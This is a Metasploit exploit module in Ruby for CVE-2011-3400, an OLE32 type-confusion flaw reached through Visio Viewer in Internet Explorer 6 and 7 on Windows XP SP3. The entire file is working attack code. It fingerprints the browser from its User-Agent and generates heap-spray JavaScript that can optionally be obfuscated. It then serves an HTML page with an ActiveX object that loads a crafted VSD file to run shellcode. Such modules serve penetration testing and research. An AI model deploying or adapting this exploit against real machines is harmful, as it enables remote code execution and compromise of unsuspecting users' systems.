##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Windows OLE Object File Handling Remote Code Execution",
			'Description'    => %q{
					This module exploits a type confusion vulnerability in the OLE32 component of
				Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
				function.

				A Visio document with a specially crafted Summary Information Stream embedded allows
				to get remote code execution through Internet Explorer, on systems with Visio Viewer
				installed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma', # Vulnerability discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2011-3400' ],
					[ 'OSVDB', '77663'],
					[ 'BID', '50977' ],
					[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
					[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3 / Visio Viewer 2010',
						{
							'Offset'    => '0x7ee - code.length',
							'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
						}
					],
					[
						'IE 7 on Windows XP SP3 / Visio Viewer 2010',
						{
							'Offset'    => '0x7ee - code.length',
							'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 13 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		# If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  # IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  # IE 7 on Windows XP SP3
		else
			return nil
		end
	end

	def exploit
		@vsd = create_vsd
		super
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Client requesting: #{request.uri}")

		if request.uri =~ /\.vsd$/
			@vsd[5106, 2] = my_target['PtrToHeap']
			print_status("Sending Exploit VSD")
			send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
			return
		end

		p = payload.encoded

		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

		js_pivot = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var i=1; i < 0x1e0; i++) {
			heap_obj.alloc(block);
		}
		JS

		js_pivot = heaplib(js_pivot, {:noobfu => true})

		if datastore['OBFUSCATE']
			js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
			js_pivot.obfuscate
		end

		vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
		vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"

		html = %Q|
		<html>
		<head>
		<script>
		#{js_pivot}
		</script>
		</head>
		<body>

		<object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
		<param name=src value="#{vsd_uri}">
		</object>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def create_vsd
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
		fd = ::File.open( path, "rb" )
		vsd = fd.read(fd.stat.size)
		fd.close
		return vsd
	end

end